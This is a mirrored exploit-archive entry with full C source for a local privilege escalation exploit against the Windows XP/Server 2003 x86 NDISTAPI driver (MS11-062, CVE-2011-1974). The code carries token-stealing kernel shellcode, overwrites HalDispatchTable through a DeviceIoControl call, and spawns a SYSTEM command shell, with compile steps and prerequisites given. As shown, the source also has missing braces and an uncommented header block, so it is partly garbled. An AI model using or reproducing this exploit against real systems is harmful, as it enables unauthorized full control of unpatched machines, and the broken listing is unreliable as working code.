发布 2016-10-24 漏洞条目

Microsoft Windows (x86) – ‘NDISTAPI’ Local Privilege Escalation (MS11-062)

Exploit Source

################################################################

# Exploit Title: Windows x86 (all versions) NDISTAPI privilege escalation (MS11-062)

# Date: 2016-10-24

# Exploit Author: Tomislav Paskalev

# Vulnerable Software:

# Windows XP SP3 x86

# Windows XP Pro SP2 x64

# Windows Server 2003 SP2 x86

# Windows Server 2003 SP2 x64

# Windows Server 2003 SP2 Itanium-based Systems

# Supported Vulnerable Software:

# Windows XP SP3 x86

# Windows Server 2003 SP2 x86

# Tested Software:

# Windows XP Pro SP3 x86 EN [5.1.2600]

# Windows Server 2003 Ent SP2 EN [5.2.3790]

# CVE ID: 2011-1974

################################################################

# Vulnerability description:

# An elevation of privilege vulnerability exists in the

# NDISTAPI.sys component of the Remote Access Service NDISTAPI

# driver. The vulnerability is caused when the NDISTAPI driver

# improperly validates user-supplied input when passing data

# from user mode to the Windows kernel.

# An attacker must have valid logon credentials and be able to

# log on locally to exploit the vulnerability.

# An attacker who successfully exploited this vulnerability could

# run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM

# privileges).

################################################################

# Exploit notes:

# Privileged shell execution:

# - the SYSTEM shell will spawn within the invoking shell/process

# Exploit compiling (Kali GNU/Linux Rolling 64-bit):

# - # i686-w64-mingw32-gcc MS11-062.c -o MS11-062.exe -lws2_32

# Exploit prerequisites:

# - low privilege access to the target OS

# - target OS not patched (KB2566454)

# - Remote Access Service (RAS) running

# - sc query remoteaccess

# - sc start remoteaccess

################################################################

# Patches:

# Windows XP SP3 x86

# WindowsXP-KB2566454-x86-enu.exe

# (not available - EoL)

# Windows Server 2003 SP2 x86

# WindowsServer2003-KB2566454-x86-enu.exe

# https://www.microsoft.com/en-us/download/details.aspx?id=27093

################################################################

# Thanks to:

# Ni Tao (writeup)

# Google Translate (Chinese -> Engrish)

################################################################

# References:

# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1974

# https://technet.microsoft.com/en-us/library/security/ms11-062.aspx

# http://www.cas.stc.sh.cn/jsjyup/pdf/2015/5/%E5%9F%BA%E4%BA%8E%E9%9D%99%E6%80%81%E6%B1%A1%E7%82%B9%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E7%9A%84%E8%BD%AF%E4%BB%B6%E5%86%85%E6%A0%B8%E9%A9%B1%E5%8A%A8%E5%AE%89%E5%85%A8%E6%80%A7%E6%A3%80%E6%B5%8B.pdf

# https://translate.google.com/

################################################################

#include <winsock2.h>

#include <windows.h>

#include <stdio.h>

#include <ws2tcpip.h>

#pragma comment (lib, "ws2_32.lib")

////////////////////////////////////////////////////////////////

// DEFINE DATA TYPES

////////////////////////////////////////////////////////////////

typedef enum _KPROFILE_SOURCE {

ProfileTime,

ProfileAlignmentFixup,

ProfileTotalIssues,

ProfilePipelineDry,

ProfileLoadInstructions,

ProfilePipelineFrozen,

ProfileBranchInstructions,

ProfileTotalNonissues,

ProfileDcacheMisses,

ProfileIcacheMisses,

ProfileCacheMisses,

ProfileBranchMispredictions,

ProfileStoreInstructions,

ProfileFpInstructions,

ProfileIntegerInstructions,

Profile2Issue,

Profile3Issue,

Profile4Issue,

ProfileSpecialInstructions,

ProfileTotalCycles,

ProfileIcacheIssues,

ProfileDcacheAccesses,

ProfileMemoryBarrierCycles,

ProfileLoadLinkedIssues,

ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *PNTQUERYINTERVAL) (

KPROFILE_SOURCE ProfileSource,

PULONG Interval

);

typedef LONG NTSTATUS;

typedef NTSTATUS (WINAPI *PNTALLOCATE) (

HANDLE ProcessHandle,

PVOID *BaseAddress,

ULONG ZeroBits,

PULONG RegionSize,

ULONG AllocationType,

ULONG Protect

);

typedef struct _SYSTEM_MODULE_INFORMATION {

ULONG Reserved[2];

PVOID Base;

ULONG Size;

ULONG Flags;

USHORT Index;

USHORT Unknown;

USHORT LoadCount;

USHORT ModuleNameOffset;

CHAR ImageName[256];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);

////////////////////////////////////////////////////////////////

// FUNCTIONS

////////////////////////////////////////////////////////////////

BOOL IsWow64()

{

BOOL bIsWow64 = FALSE;

LPFN_ISWOW64PROCESS fnIsWow64Process;

fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process");

if(NULL != fnIsWow64Process)

{

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx

if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))

{

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx

printf(" [-] Failed (error code: %d)\n", GetLastError());

return -1;

}

return bIsWow64;

}

////////////////////////////////////////////////////////////////

// MAIN FUNCTION

////////////////////////////////////////////////////////////////

int main(void)

{

printf("[*] MS11-062 (CVE-2011-1974) x86 exploit\n");

printf(" [*] by Tomislav Paskalev\n");

////////////////////////////////////////////////////////////////

// IDENTIFY TARGET OS ARCHITECTURE AND VERSION

////////////////////////////////////////////////////////////////

printf("[*] Identifying OS\n");

// identify target machine's OS architecture

// in case the target machine is running a 64-bit OS

if(IsWow64())

{

printf(" [-] 64-bit\n");

return -1;

}

printf(" [+] 32-bit\n");

// identify target machine's OS version

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx

OSVERSIONINFOEX osvi;

ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

GetVersionEx((LPOSVERSIONINFO) &osvi);

// define operating system version specific variables

unsigned char shellcode_KPROCESS;

unsigned char shellcode_TOKEN;

unsigned char shellcode_UPID;

unsigned char shellcode_APLINKS;

const char **securityPatchesPtr;

int securityPatchesCount;

////////////////////////////////////////////////////////////////

OS VERSION SPECIFIC OFFSETS

references:

http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm

http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm

http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm

http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/

////////////////////////////////////////////////////////////////

// in case the OS version is 5.1, service pack 3

if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))

{

// the target machine's OS is Windows XP SP3

printf(" [+] Windows XP SP3\n");

shellcode_KPROCESS = '\x44';

shellcode_TOKEN = '\xC8';

shellcode_UPID = '\x84';

shellcode_APLINKS = '\x88';

const char *securityPatches[] = {"KB2566454"};

securityPatchesPtr = securityPatches;

securityPatchesCount = 1;

}

// in case the OS version is 5.2, service pack 2, not R2

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx

else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0))

{

// the target machine's OS is Windows Server 2003 SP2

printf(" [+] Windows Server 2003 SP2\n");

shellcode_KPROCESS = '\x38';

shellcode_TOKEN = '\xD8';

shellcode_UPID = '\x94';

shellcode_APLINKS = '\x98';

const char *securityPatches[] = {"KB2566454"};

securityPatchesPtr = securityPatches;

securityPatchesCount = 1;

}

// in case the OS version is not any of the previously checked versions

else

{

// the target machine's OS is an unsupported 32-bit Windows version

printf(" [-] Unsupported version\n");

printf(" [*] Affected 32-bit operating systems\n");

printf(" [*] Windows XP SP3\n");

printf(" [*] Windows Server 2003 SP2\n");

return -1;

}

////////////////////////////////////////////////////////////////

// LOCATE REQUIRED OS COMPONENTS

////////////////////////////////////////////////////////////////

printf("[*] Locating required OS components\n");

// retrieve system information

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx

// locate "ZwQuerySystemInformation" in the "ntdll.dll" module

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx

FARPROC ZwQuerySystemInformation;

ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");

// 11 = SystemModuleInformation

// http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm

ULONG systemInformation;

ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);

// allocate memory for the list of loaded modules

ULONG *systemInformationBuffer;

systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));

if(!systemInformationBuffer)

{

printf(" [-] Could not allocate memory");

return -1;

}

// retrieve the list of loaded modules

ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL);

// locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules

ULONG i;

PVOID targetKrnlMdlBaseAddr;

HMODULE targetKrnlMdlUsrSpcOffs;

BOOL foundModule = FALSE;

PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;

loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);

for(i = 0; i < *systemInformationBuffer; i++)

{

if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe"))

{

printf(" [+] ntkrnlpa.exe\n");

targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1);

targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;

foundModule = TRUE;

break;

}

else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe"))

{

printf(" [+] ntoskrnl.exe\n");

targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1);

targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;

foundModule = TRUE;

break;

}

// base address of the loaded module (kernel space)

printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr);

// offset address (relative to the parent process) of the loaded module (user space)

printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs);

if(!foundModule)

{

printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n");

return -1;

}

// free allocated buffer space

free(systemInformationBuffer);

// determine the address of the "HalDispatchTable" process (kernel space)

// locate the offset fo the "HalDispatchTable" process within the target module (user space)

ULONG_PTR HalDispatchTableUsrSpcOffs;

HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable");

if(!HalDispatchTableUsrSpcOffs)

{

printf(" [-] Could not find HalDispatchTable\n");

return -1;

}

printf(" [+] HalDispatchTable\n");

printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs);

// calculate the address of "HalDispatchTable" in kernel space

// 1. identify the base address of the target module in kernel space

// 2. previous step's result [minus] the load address of the same module in user space

// 3. previous step's result [plus] the address of "HalDispatchTable" in user space

// EQUIVALENT TO:

// 1. determine RVA of HalDispatchTable

// *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it.

// 2. previous step's result [plus] base address of target module in kernel space

ULONG_PTR HalDispatchTableKrnlSpcAddr;

HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;

HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;

// locate "NtQueryIntervalProfile" in the "ntdll.dll" module

PNTQUERYINTERVAL NtQueryIntervalProfile;

NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");

if(!NtQueryIntervalProfile)

{

printf(" [-] Could not find NtQueryIntervalProfile\n");

return -1;

}

printf(" [+] NtQueryIntervalProfile\n");

printf(" [*] Address: %#010x\n", NtQueryIntervalProfile);

////////////////////////////////////////////////////////////////

// CREATE TOKEN STEALING SHELLCODE

////////////////////////////////////////////////////////////////

printf("[*] Creating token stealing shellcode\n");

// construct the token stealing shellcode

unsigned char shellcode[] =

{

0x52, // PUSH EDX Save EDX on the stack (save context)

0x53, // PUSH EBX Save EBX on the stack (save context)

0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0)

0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure

0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure

0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX

0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN

0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks

0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks

0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process)

0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal

0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX

0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX

0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN

0x5B, // POP EBX Pop current stack value to EBX (restore context)

0x5A, // POP EDX Pop current stack value to EDX (restore context)

0xC2,0x08 // RET 8 Return

};

printf(" [*] Shellcode assembled\n");

// allocate memory (RWE permissions) for the shellcode

printf(" [*] Allocating memory\n");

LPVOID shellcodeAddress;

shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if(shellcodeAddress == NULL)

{

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx

printf(" [-] Failed (error code: %d)\n", GetLastError());

return -1;

}

printf(" [+] Address: %#010x\n", shellcodeAddress);

// copy the shellcode to the allocated memory

memcpy((shellcodeAddress), shellcode, sizeof(shellcode));

printf(" [*] Shellcode copied\n");

////////////////////////////////////////////////////////////////

// EXPLOIT THE VULNERABILITY

////////////////////////////////////////////////////////////////

printf("[*] Exploiting vulnerability\n");

// open the vulnerable device driver

HANDLE targetDeviceHandle;

ULONG dwReturnSize;

int errorCode = 0;

printf(" [*] Opening NDISTAPI device driver\n");

// https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx

targetDeviceHandle = CreateFile("\\\\.\\NDISTAPI", GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);

// in case the function fails

if(targetDeviceHandle == INVALID_HANDLE_VALUE)

{

// the device driver was not opened successfully

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx

errorCode = GetLastError();

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx

// in case of ERROR_FILE_NOT_FOUND

if(errorCode == 2)

{

// the vulnerable service is not running

printf(" [!] Remote Access Service not started\n");

printf(" [*] run \"sc start remoteaccess\"\n");

return -1;

}

// in case of any other error message

else

{

printf(" [-] Failed (error code: %d)\n", errorCode);

return -1;

}

// in case the function succeeds

else

{

// the device driver was opened succesfully

printf(" [+] Done\n");

}

// copy the shellcode address to the input buffer

unsigned char InputBuffer[8]={0};

memcpy((InputBuffer + 4), &shellcodeAddress, sizeof(shellcodeAddress));

// trigger vulnerability (cause arbitrary memory overwrite)

printf(" [*] Calling vulnerable function\n");

if(DeviceIoControl(

targetDeviceHandle,

0x8fff23d4, // DoLineCreateWork

(PVOID) InputBuffer, sizeof(InputBuffer),

(PVOID) (HalDispatchTableKrnlSpcAddr), 0,

&dwReturnSize, NULL

) == 0)

{

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx

errorCode = GetLastError();

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx

// in case of ERROR_INSUFFICIENT_BUFFER

if(errorCode == 122)

{

// target is patched

printf(" [!] Target patched\n");

printf(" [*] Possible security patches\n");

for(i = 0; i < securityPatchesCount; i++)

printf(" [*] %s\n", securityPatchesPtr[i]);

return -1;

}

// in case of any other error message

else

{

// print the error code

printf(" [-] Failed (error code: %d)\n", errorCode);

return -1;

}

else

printf(" [+] Done\n");

// elevate privileges of the current process

printf(" [*] Elevating privileges to SYSTEM\n");

ULONG outInterval = 0;

// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html

NtQueryIntervalProfile(2, &outInterval);

printf(" [+] Done\n");

// spawn shell (with elevated privileges)

printf(" [*] Spawning shell\n");

// spawn SYSTEM shell within the current shell (remote shell friendly)

system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32");

// exit

printf("\n[*] Exiting SYSTEM shell\n");

return 1;

}

// EoF

作者: Tomislav Paskalev
日期: 2016-10-24
类别: local
平台: windows_x86

相关漏洞条目

ZTE H298A / H108N – Unauthenticated Credential Exposure

ZTE ZXHN H188A V6 – Authentication Bypass

ZTE Routers – Unauthenticated Denial of Service

ImageMagick – Infinite Loop in the MIFF decoder can lead to CPU exhaustion